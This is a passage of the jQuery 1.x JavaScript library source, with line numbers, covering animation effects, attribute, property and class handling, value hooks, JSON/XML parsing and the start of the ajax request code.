4912 if (queue[index] && queue[index].finish) {
4913 queue[index].finish.call(this)
4914 }
4915 }
4916 delete data.finish
4917 })
4918 }
4919 });
4920 jQuery.each(["toggle", "show", "hide"], function(i, name) {
4921 var cssFn = jQuery.fn[name];
4922 jQuery.fn[name] = function(speed, easing, callback) {
4923 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
4924 }
4925 });
4926 jQuery.each({
4927 slideDown: genFx("show"),
4928 slideUp: genFx("hide"),
4929 slideToggle: genFx("toggle"),
4930 fadeIn: {
4931 opacity: "show"
4932 },
4933 fadeOut: {
4934 opacity: "hide"
4935 },
4936 fadeToggle: {
4937 opacity: "toggle"
4938 }
4939 }, function(name, props) {
4940 jQuery.fn[name] = function(speed, easing, callback) {
4941 return this.animate(props, speed, easing, callback)
4942 }
4943 });
4944 jQuery.timers = [];
4945 jQuery.fx.tick = function() {
4946 var timer, timers = jQuery.timers,
4947 i = 0;
4948 fxNow = jQuery.now();
4949 for (; i < timers.length; i++) {
4950 timer = timers[i];
4951 if (!timer() && timers[i] === timer) {
4952 timers.splice(i--, 1)
4953 }
4954 }
4955 if (!timers.length) {
4956 jQuery.fx.stop()
4957 }
4958 fxNow = undefined
4959 };
4960 jQuery.fx.timer = function(timer) {
4961 jQuery.timers.push(timer);
4962 if (timer()) {
4963 jQuery.fx.start()
4964 } else {
4965 jQuery.timers.pop()
4966 }
4967 };
4968 jQuery.fx.interval = 13;
4969 jQuery.fx.start = function() {
4970 if (!timerId) {
4971 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
4972 }
4973 };
4974 jQuery.fx.stop = function() {
4975 clearInterval(timerId);
4976 timerId = null
4977 };
4978 jQuery.fx.speeds = {
4979 slow: 600,
4980 fast: 200,
4981 _default: 400
4982 };
4983 jQuery.fn.delay = function(time, type) {
4984 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
4985 type = type || "fx";
4986 return this.queue(type, function(next, hooks) {
4987 var timeout = setTimeout(next, time);
4988 hooks.stop = function() {
4989 clearTimeout(timeout)
4990 }
4991 })
4992 };
4993 (function() {
4994 var input, div, select, a, opt;
4995 div = document.createElement("div");
4996 div.setAttribute("className", "t");
4997 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4998 a = div.getElementsByTagName("a")[0];
4999 select = document.createElement("select");
5000 opt = select.appendChild(document.createElement("option"));
5001 input = div.getElementsByTagName("input")[0];
5002 a.style.cssText = "top:1px";
5003 support.getSetAttribute = div.className !== "t";
5004 support.style = /top/.test(a.getAttribute("style"));
5005 support.hrefNormalized = a.getAttribute("href") === "/a";
5006 support.checkOn = !!input.value;
5007 support.optSelected = opt.selected;
5008 support.enctype = !!document.createElement("form").enctype;
5009 select.disabled = true;
5010 support.optDisabled = !opt.disabled;
5011 input = document.createElement("input");
5012 input.setAttribute("value", "");
5013 support.input = input.getAttribute("value") === "";
5014 input.value = "t";
5015 input.setAttribute("type", "radio");
5016 support.radioValue = input.value === "t"
5017 })();
5018 var rreturn = /\r/g;
5019 jQuery.fn.extend({
5020 val: function(value) {
5021 var hooks, ret, isFunction, elem = this[0];
5022 if (!arguments.length) {
5023 if (elem) {
5024 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
5025 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
5026 return ret
5027 }
5028 ret = elem.value;
5029 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
5030 }
5031 return
5032 }
5033 isFunction = jQuery.isFunction(value);
5034 return this.each(function(i) {
5035 var val;
5036 if (this.nodeType !== 1) {
5037 return
5038 }
5039 if (isFunction) {
5040 val = value.call(this, i, jQuery(this).val())
5041 } else {
5042 val = value
5043 }
5044 if (val == null) {
5045 val = ""
5046 } else if (typeof val === "number") {
5047 val += ""
5048 } else if (jQuery.isArray(val)) {
5049 val = jQuery.map(val, function(value) {
5050 return value == null ? "" : value + ""
5051 })
5052 }
5053 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
5054 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
5055 this.value = val
5056 }
5057 })
5058 }
5059 });
5060 jQuery.extend({
5061 valHooks: {
5062 option: {
5063 get: function(elem) {
5064 var val = jQuery.find.attr(elem, "value");
5065 return val != null ? val : jQuery.trim(jQuery.text(elem))
5066 }
5067 },
5068 select: {
5069 get: function(elem) {
5070 var value, option, options = elem.options,
5071 index = elem.selectedIndex,
5072 one = elem.type === "select-one" || index < 0,
5073 values = one ? null : [],
5074 max = one ? index + 1 : options.length,
5075 i = index < 0 ? max : one ? index : 0;
5076 for (; i < max; i++) {
5077 option = options[i];
5078 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5079 value = jQuery(option).val();
5080 if (one) {
5081 return value
5082 }
5083 values.push(value)
5084 }
5085 }
5086 return values
5087 },
5088 set: function(elem, value) {
5089 var optionSet, option, options = elem.options,
5090 values = jQuery.makeArray(value),
5091 i = options.length;
5092 while (i--) {
5093 option = options[i];
5094 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5095 try {
5096 option.selected = optionSet = true
5097 } catch (_) {
5098 option.scrollHeight
5099 }
5100 } else {
5101 option.selected = false
5102 }
5103 }
5104 if (!optionSet) {
5105 elem.selectedIndex = -1
5106 }
5107 return options
5108 }
5109 }
5110 }
5111 });
5112 jQuery.each(["radio", "checkbox"], function() {
5113 jQuery.valHooks[this] = {
5114 set: function(elem, value) {
5115 if (jQuery.isArray(value)) {
5116 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5117 }
5118 }
5119 };
5120 if (!support.checkOn) {
5121 jQuery.valHooks[this].get = function(elem) {
5122 return elem.getAttribute("value") === null ? "on" : elem.value
5123 }
5124 }
5125 });
5126 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5127 ruseDefault = /^(?:checked|selected)$/i,
5128 getSetAttribute = support.getSetAttribute,
5129 getSetInput = support.input;
5130 jQuery.fn.extend({
5131 attr: function(name, value) {
5132 return access(this, jQuery.attr, name, value, arguments.length > 1)
5133 },
5134 removeAttr: function(name) {
5135 return this.each(function() {
5136 jQuery.removeAttr(this, name)
5137 })
5138 }
5139 });
5140 jQuery.extend({
5141 attr: function(elem, name, value) {
5142 var hooks, ret, nType = elem.nodeType;
5143 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5144 return
5145 }
5146 if (typeof elem.getAttribute === strundefined) {
5147 return jQuery.prop(elem, name, value)
5148 }
5149 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5150 name = name.toLowerCase();
5151 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5152 }
5153 if (value !== undefined) {
5154 if (value === null) {
5155 jQuery.removeAttr(elem, name)
5156 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5157 return ret
5158 } else {
5159 elem.setAttribute(name, value + "");
5160 return value
5161 }
5162 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5163 return ret
5164 } else {
5165 ret = jQuery.find.attr(elem, name);
5166 return ret == null ? undefined : ret
5167 }
5168 },
5169 removeAttr: function(elem, value) {
5170 var name, propName, i = 0,
5171 attrNames = value && value.match(rnotwhite);
5172 if (attrNames && elem.nodeType === 1) {
5173 while ((name = attrNames[i++])) {
5174 propName = jQuery.propFix[name] || name;
5175 if (jQuery.expr.match.bool.test(name)) {
5176 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5177 elem[propName] = false
5178 } else {
5179 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5180 }
5181 } else {
5182 jQuery.attr(elem, name, "")
5183 }
5184 elem.removeAttribute(getSetAttribute ? name : propName)
5185 }
5186 }
5187 },
5188 attrHooks: {
5189 type: {
5190 set: function(elem, value) {
5191 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5192 var val = elem.value;
5193 elem.setAttribute("type", value);
5194 if (val) {
5195 elem.value = val
5196 }
5197 return value
5198 }
5199 }
5200 }
5201 }
5202 });
5203 boolHook = {
5204 set: function(elem, value, name) {
5205 if (value === false) {
5206 jQuery.removeAttr(elem, name)
5207 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5208 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5209 } else {
5210 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5211 }
5212 return name
5213 }
5214 };
5215 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5216 var getter = attrHandle[name] || jQuery.find.attr;
5217 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5218 var ret, handle;
5219 if (!isXML) {
5220 handle = attrHandle[name];
5221 attrHandle[name] = ret;
5222 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5223 attrHandle[name] = handle
5224 }
5225 return ret
5226 } : function(elem, name, isXML) {
5227 if (!isXML) {
5228 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5229 }
5230 }
5231 });
5232 if (!getSetInput || !getSetAttribute) {
5233 jQuery.attrHooks.value = {
5234 set: function(elem, value, name) {
5235 if (jQuery.nodeName(elem, "input")) {
5236 elem.defaultValue = value
5237 } else {
5238 return nodeHook && nodeHook.set(elem, value, name)
5239 }
5240 }
5241 }
5242 }
5243 if (!getSetAttribute) {
5244 nodeHook = {
5245 set: function(elem, value, name) {
5246 var ret = elem.getAttributeNode(name);
5247 if (!ret) {
5248 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5249 }
5250 ret.value = value += "";
5251 if (name === "value" || value === elem.getAttribute(name)) {
5252 return value
5253 }
5254 }
5255 };
5256 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5257 var ret;
5258 if (!isXML) {
5259 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5260 }
5261 };
5262 jQuery.valHooks.button = {
5263 get: function(elem, name) {
5264 var ret = elem.getAttributeNode(name);
5265 if (ret && ret.specified) {
5266 return ret.value
5267 }
5268 },
5269 set: nodeHook.set
5270 };
5271 jQuery.attrHooks.contenteditable = {
5272 set: function(elem, value, name) {
5273 nodeHook.set(elem, value === "" ? false : value, name)
5274 }
5275 };
5276 jQuery.each(["width", "height"], function(i, name) {
5277 jQuery.attrHooks[name] = {
5278 set: function(elem, value) {
5279 if (value === "") {
5280 elem.setAttribute(name, "auto");
5281 return value
5282 }
5283 }
5284 }
5285 })
5286 }
5287 if (!support.style) {
5288 jQuery.attrHooks.style = {
5289 get: function(elem) {
5290 return elem.style.cssText || undefined
5291 },
5292 set: function(elem, value) {
5293 return (elem.style.cssText = value + "")
5294 }
5295 }
5296 }
5297 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5298 rclickable = /^(?:a|area)$/i;
5299 jQuery.fn.extend({
5300 prop: function(name, value) {
5301 return access(this, jQuery.prop, name, value, arguments.length > 1)
5302 },
5303 removeProp: function(name) {
5304 name = jQuery.propFix[name] || name;
5305 return this.each(function() {
5306 try {
5307 this[name] = undefined;
5308 delete this[name]
5309 } catch (e) {}
5310 })
5311 }
5312 });
5313 jQuery.extend({
5314 propFix: {
5315 "for": "htmlFor",
5316 "class": "className"
5317 },
5318 prop: function(elem, name, value) {
5319 var ret, hooks, notxml, nType = elem.nodeType;
5320 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5321 return
5322 }
5323 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5324 if (notxml) {
5325 name = jQuery.propFix[name] || name;
5326 hooks = jQuery.propHooks[name]
5327 }
5328 if (value !== undefined) {
5329 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5330 } else {
5331 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5332 }
5333 },
5334 propHooks: {
5335 tabIndex: {
5336 get: function(elem) {
5337 var tabindex = jQuery.find.attr(elem, "tabindex");
5338 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5339 }
5340 }
5341 }
5342 });
5343 if (!support.hrefNormalized) {
5344 jQuery.each(["href", "src"], function(i, name) {
5345 jQuery.propHooks[name] = {
5346 get: function(elem) {
5347 return elem.getAttribute(name, 4)
5348 }
5349 }
5350 })
5351 }
5352 if (!support.optSelected) {
5353 jQuery.propHooks.selected = {
5354 get: function(elem) {
5355 var parent = elem.parentNode;
5356 if (parent) {
5357 parent.selectedIndex;
5358 if (parent.parentNode) {
5359 parent.parentNode.selectedIndex
5360 }
5361 }
5362 return null
5363 }
5364 }
5365 }
5366 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5367 jQuery.propFix[this.toLowerCase()] = this
5368 });
5369 if (!support.enctype) {
5370 jQuery.propFix.enctype = "encoding"
5371 }
5372 var rclass = /[\t\r\n\f]/g;
5373 jQuery.fn.extend({
5374 addClass: function(value) {
5375 var classes, elem, cur, clazz, j, finalValue, i = 0,
5376 len = this.length,
5377 proceed = typeof value === "string" && value;
5378 if (jQuery.isFunction(value)) {
5379 return this.each(function(j) {
5380 jQuery(this).addClass(value.call(this, j, this.className))
5381 })
5382 }
5383 if (proceed) {
5384 classes = (value || "").match(rnotwhite) || [];
5385 for (; i < len; i++) {
5386 elem = this[i];
5387 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5388 if (cur) {
5389 j = 0;
5390 while ((clazz = classes[j++])) {
5391 if (cur.indexOf(" " + clazz + " ") < 0) {
5392 cur += clazz + " "
5393 }
5394 }
5395 finalValue = jQuery.trim(cur);
5396 if (elem.className !== finalValue) {
5397 elem.className = finalValue
5398 }
5399 }
5400 }
5401 }
5402 return this
5403 },
5404 removeClass: function(value) {
5405 var classes, elem, cur, clazz, j, finalValue, i = 0,
5406 len = this.length,
5407 proceed = arguments.length === 0 || typeof value === "string" && value;
5408 if (jQuery.isFunction(value)) {
5409 return this.each(function(j) {
5410 jQuery(this).removeClass(value.call(this, j, this.className))
5411 })
5412 }
5413 if (proceed) {
5414 classes = (value || "").match(rnotwhite) || [];
5415 for (; i < len; i++) {
5416 elem = this[i];
5417 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5418 if (cur) {
5419 j = 0;
5420 while ((clazz = classes[j++])) {
5421 while (cur.indexOf(" " + clazz + " ") >= 0) {
5422 cur = cur.replace(" " + clazz + " ", " ")
5423 }
5424 }
5425 finalValue = value ? jQuery.trim(cur) : "";
5426 if (elem.className !== finalValue) {
5427 elem.className = finalValue
5428 }
5429 }
5430 }
5431 }
5432 return this
5433 },
5434 toggleClass: function(value, stateVal) {
5435 var type = typeof value;
5436 if (typeof stateVal === "boolean" && type === "string") {
5437 return stateVal ? this.addClass(value) : this.removeClass(value)
5438 }
5439 if (jQuery.isFunction(value)) {
5440 return this.each(function(i) {
5441 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5442 })
5443 }
5444 return this.each(function() {
5445 if (type === "string") {
5446 var className, i = 0,
5447 self = jQuery(this),
5448 classNames = value.match(rnotwhite) || [];
5449 while ((className = classNames[i++])) {
5450 if (self.hasClass(className)) {
5451 self.removeClass(className)
5452 } else {
5453 self.addClass(className)
5454 }
5455 }
5456 } else if (type === strundefined || type === "boolean") {
5457 if (this.className) {
5458 jQuery._data(this, "__className__", this.className)
5459 }
5460 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5461 }
5462 })
5463 },
5464 hasClass: function(selector) {
5465 var className = " " + selector + " ",
5466 i = 0,
5467 l = this.length;
5468 for (; i < l; i++) {
5469 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5470 return true
5471 }
5472 }
5473 return false
5474 }
5475 });
5476 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5477 jQuery.fn[name] = function(data, fn) {
5478 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5479 }
5480 });
5481 jQuery.fn.extend({
5482 hover: function(fnOver, fnOut) {
5483 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5484 },
5485 bind: function(types, data, fn) {
5486 return this.on(types, null, data, fn)
5487 },
5488 unbind: function(types, fn) {
5489 return this.off(types, null, fn)
5490 },
5491 delegate: function(selector, types, data, fn) {
5492 return this.on(types, selector, data, fn)
5493 },
5494 undelegate: function(selector, types, fn) {
5495 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5496 }
5497 });
5498 var nonce = jQuery.now();
5499 var rquery = (/\?/);
5500 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5501 jQuery.parseJSON = function(data) {
5502 if (window.JSON && window.JSON.parse) {
5503 return window.JSON.parse(data + "")
5504 }
5505 var requireNonComma, depth = null,
5506 str = jQuery.trim(data + "");
5507 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5508 if (requireNonComma && comma) {
5509 depth = 0
5510 }
5511 if (depth === 0) {
5512 return token
5513 }
5514 requireNonComma = open || comma;
5515 depth += !close - !open;
5516 return ""
5517 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5518 };
5519 jQuery.parseXML = function(data) {
5520 var xml, tmp;
5521 if (!data || typeof data !== "string") {
5522 return null
5523 }
5524 try {
5525 if (window.DOMParser) {
5526 tmp = new DOMParser();
5527 xml = tmp.parseFromString(data, "text/xml")
5528 } else {
5529 xml = new ActiveXObject("Microsoft.XMLDOM");
5530 xml.async = "false";
5531 xml.loadXML(data)
5532 }
5533 } catch (e) {
5534 xml = undefined
5535 }
5536 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5537 jQuery.error("Invalid XML: " + data)
5538 }
5539 return xml
5540 };
5541 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5542 rts = /([?&])_=[^&]*/,
5543 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5544 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5545 rnoContent = /^(?:GET|HEAD)$/,
5546 rprotocol = /^\/\//,
5547 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5548 prefilters = {},
5549 transports = {},
5550 allTypes = "*/".concat("*");
5551 try {
5552 ajaxLocation = location.href
5553 } catch (e) {
5554 ajaxLocation = document.createElement("a");
5555 ajaxLocation.href = "";
5556 ajaxLocation = ajaxLocation.href
5557 }
5558 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5559
5560 function addToPrefiltersOrTransports(structure) {
5561 return function(dataTypeExpression, func) {
5562 if (typeof dataTypeExpression !== "string") {
5563 func = dataTypeExpression;
5564 dataTypeExpression = "*"
5565 }
5566 var dataType, i = 0,
5567 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5568 if (jQuery.isFunction(func)) {
5569 while ((dataType = dataTypes[i++])) {
5570 if (dataType.charAt(0) === "+") {
5571 dataType = dataType.slice(1) || "*";
5572 (structure[dataType] = structure[dataType] || []).unshift(func)
5573 } else {
5574 (structure[dataType] = structure[dataType] || []).push(func)
5575 }
5576 }
5577 }
5578 }
5579 }
5580
5581 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5582 var inspected = {},
5583 seekingTransport = (structure === transports);
5584
5585 function inspect(dataType) {
5586 var selected;
5587 inspected[dataType] = true;
5588 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5589 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5590 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5591 options.dataTypes.unshift(dataTypeOrTransport);
5592 inspect(dataTypeOrTransport);
5593 return false
5594 } else if (seekingTransport) {
5595 return !(selected = dataTypeOrTransport)
5596 }
5597 });
5598 return selected
5599 }
5600 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5601 }
5602
5603 function ajaxExtend(target, src) {
5604 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5605 for (key in src) {
5606 if (src[key] !== undefined) {
5607 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5608 }
5609 }
5610 if (deep) {
5611 jQuery.extend(true, target, deep)
5612 }
5613 return target
5614 }
5615
5616 function ajaxHandleResponses(s, jqXHR, responses) {
5617 var firstDataType, ct, finalDataType, type, contents = s.contents,
5618 dataTypes = s.dataTypes;
5619 while (dataTypes[0] === "*") {
5620 dataTypes.shift();
5621 if (ct === undefined) {
5622 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5623 }
5624 }
5625 if (ct) {
5626 for (type in contents) {
5627 if (contents[type] && contents[type].test(ct)) {
5628 dataTypes.unshift(type);
5629 break
5630 }
5631 }
5632 }
5633 if (dataTypes[0] in responses) {
5634 finalDataType = dataTypes[0]
5635 } else {
5636 for (type in responses) {
5637 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5638 finalDataType = type;
5639 break
5640 }
5641 if (!firstDataType) {
5642 firstDataType = type
5643 }
5644 }
5645 finalDataType = finalDataType || firstDataType
5646 }
5647 if (finalDataType) {
5648 if (finalDataType !== dataTypes[0]) {
5649 dataTypes.unshift(finalDataType)
5650 }
5651 return responses[finalDataType]
5652 }
5653 }
5654
5655 function ajaxConvert(s, response, jqXHR, isSuccess) {
5656 var conv2, current, conv, tmp, prev, converters = {},
5657 dataTypes = s.dataTypes.slice();
5658 if (dataTypes[1]) {
5659 for (conv in s.converters) {
5660 converters[conv.toLowerCase()] = s.converters[conv]
5661 }
5662 }
5663 current = dataTypes.shift();
5664 while (current) {
5665 if (s.responseFields[current]) {
5666 jqXHR[s.responseFields[current]] = response
5667 }
5668 if (!prev && isSuccess && s.dataFilter) {
5669 response = s.dataFilter(response, s.dataType)
5670 }
5671 prev = current;
5672 current = dataTypes.shift();
5673 if (current) {
5674 if (current === "*") {
5675 current = prev
5676 } else if (prev !== "*" && prev !== current) {
5677 conv = converters[prev + " " + current] || converters["* " + current];
5678 if (!conv) {
5679 for (conv2 in converters) {
5680 tmp = conv2.split(" ");
5681 if (tmp[1] === current) {
5682 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5683 if (conv) {
5684 if (conv === true) {
5685 conv = converters[conv2]
5686 } else if (converters[conv2] !== true) {
5687 current = tmp[0];
5688 dataTypes.unshift(tmp[1])
5689 }
5690 break
5691 }
5692 }
5693 }
5694 }
5695 if (conv !== true) {
5696 if (conv && s["throws"]) {
5697 response = conv(response)
5698 } else {
5699 try {
5700 response = conv(response)
5701 } catch (e) {
5702 return {
5703 state: "parsererror",
5704 error: conv ? e : "No conversion from " + prev + " to " + current
5705 }
5706 }
5707 }
5708 }
5709 }
5710 }
5711 }
5712 return {
5713 state: "success",
5714 data: response
5715 }
5716 }
5717 jQuery.extend({
5718 active: 0,
5719 lastModified: {},
5720 etag: {},
5721 ajaxSettings: {
5722 url: ajaxLocation,
5723 type: "GET",
5724 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5725 global: true,
5726 processData: true,
5727 async: true,
5728 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5729 accepts: {
5730 "*": allTypes,
5731 text: "text/plain",
5732 html: "text/html",
5733 xml: "application/xml, text/xml",
5734 json: "application/json, text/javascript"
5735 },
5736 contents: {
5737 xml: /xml/,
5738 html: /html/,
5739 json: /json/
5740 },
5741 responseFields: {
5742 xml: "responseXML",
5743 text: "responseText",
5744 json: "responseJSON"
5745 },
5746 converters: {
5747 "* text": String,
5748 "text html": true,
5749 "text json": jQuery.parseJSON,
5750 "text xml": jQuery.parseXML
5751 },
5752 flatOptions: {
5753 url: true,
5754 context: true
5755 }
5756 },
5757 ajaxSetup: function(target, settings) {
5758 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5759 },
5760 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5761 ajaxTransport: addToPrefiltersOrTransports(transports),
5762 ajax: function(url, options) {
5763 if (typeof url === "object") {
5764 options = url;
5765 url = undefined
5766 }
5767 options = options || {};
5768 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5769 callbackContext = s.context || s,
5770 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5771 deferred = jQuery.Deferred(),
5772 completeDeferred = jQuery.Callbacks("once memory"),
5773 statusCode = s.statusCode || {},
5774 requestHeaders = {},
5775 requestHeadersNames = {},
5776 state = 0,
5777 strAbort = "canceled",
5778 jqXHR = {
5779 readyState: 0,
5780 getResponseHeader: function(key) {
5781 var match;
5782 if (state === 2) {
5783 if (!responseHeaders) {
5784 responseHeaders = {};
5785 while ((match = rheaders.exec(responseHeadersString))) {
5786 responseHeaders[match[1].toLowerCase()] = match[2]
5787 }
5788 }
5789 match = responseHeaders[key.toLowerCase()]
5790 }
5791 return match == null ? null : match
5792 },
5793 getAllResponseHeaders: function() {
5794 return state === 2 ? responseHeadersString : null
5795 },
5796 setRequestHeader: function(name, value) {
5797 var lname = name.toLowerCase();
5798 if (!state) {
5799 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5800 requestHeaders[name] = value
5801 }
5802 return this
5803 },
5804 overrideMimeType: function(type) {
5805 if (!state) {
5806 s.mimeType = type
5807 }
5808 return this
5809 },
5810 statusCode: function(map) {
5811 var code;
5812 if (map) {
5813 if (state < 2) {
5814 for (code in map) {
5815 statusCode[code] = [statusCode[code], map[code]]
5816 }
5817 } else {
5818 jqXHR.always(map[jqXHR.status])
5819 }
5820 }
5821 return this
5822 },
5823 abort: function(statusText) {
5824 var finalText = statusText || strAbort;
5825 if (transport) {
5826 transport.abort(finalText)
5827 }
5828 done(0, finalText);
5829 return this
5830 }
5831 };
5832 deferred.promise(jqXHR).complete = completeDeferred.add;
5833 jqXHR.success = jqXHR.done;
5834 jqXHR.error = jqXHR.fail;
5835 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5836 s.type = options.method || options.type || s.method || s.type;
5837 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5838 if (s.crossDomain == null) {
5839 parts = rurl.exec(s.url.toLowerCase());
5840 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5841 }
5842 if (s.data && s.processData && typeof s.data !== "string") {
5843 s.data = jQuery.param(s.data, s.traditional)
5844 }
5845 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5846 if (state === 2) {
5847 return jqXHR
5848 }
5849 fireGlobals = jQuery.event && s.global;
5850 if (fireGlobals && jQuery.active++ === 0) {
5851 jQuery.event.trigger("ajaxStart")
5852 }
5853 s.type = s.type.toUpperCase();
5854 s.hasContent = !rnoContent.test(s.type);
5855 cacheURL = s.url;
5856 if (!s.hasContent) {
5857 if (s.data) {
5858 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5859 delete s.data
5860 }
5861 if (s.cache === false) {
5862 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5863 }
5864 }
5865 if (s.ifModified) {
5866 if (jQuery.lastModified[cacheURL]) {
5867 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5868 }
5869 if (jQuery.etag[cacheURL]) {
5870 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5871 }
5872 }
5873 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5874 jqXHR.setRequestHeader("Content-Type", s.contentType)
5875 }
5876 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5877 for (i in s.headers) {
5878 jqXHR.setRequestHeader(i, s.headers[i])
5879 }
5880 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5881 return jqXHR.abort()
5882 }
5883 strAbort = "abort";
5884 for (i in {
5885 success: 1,
5886 error: 1,
5887 complete: 1
5888 }) {
5889 jqXHR[i](s[i])
5890 }
5891 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5892 if (!transport) {
5893 done(-1, "No Transport")
5894 } else {
5895 jqXHR.readyState = 1;
5896 if (fireGlobals) {
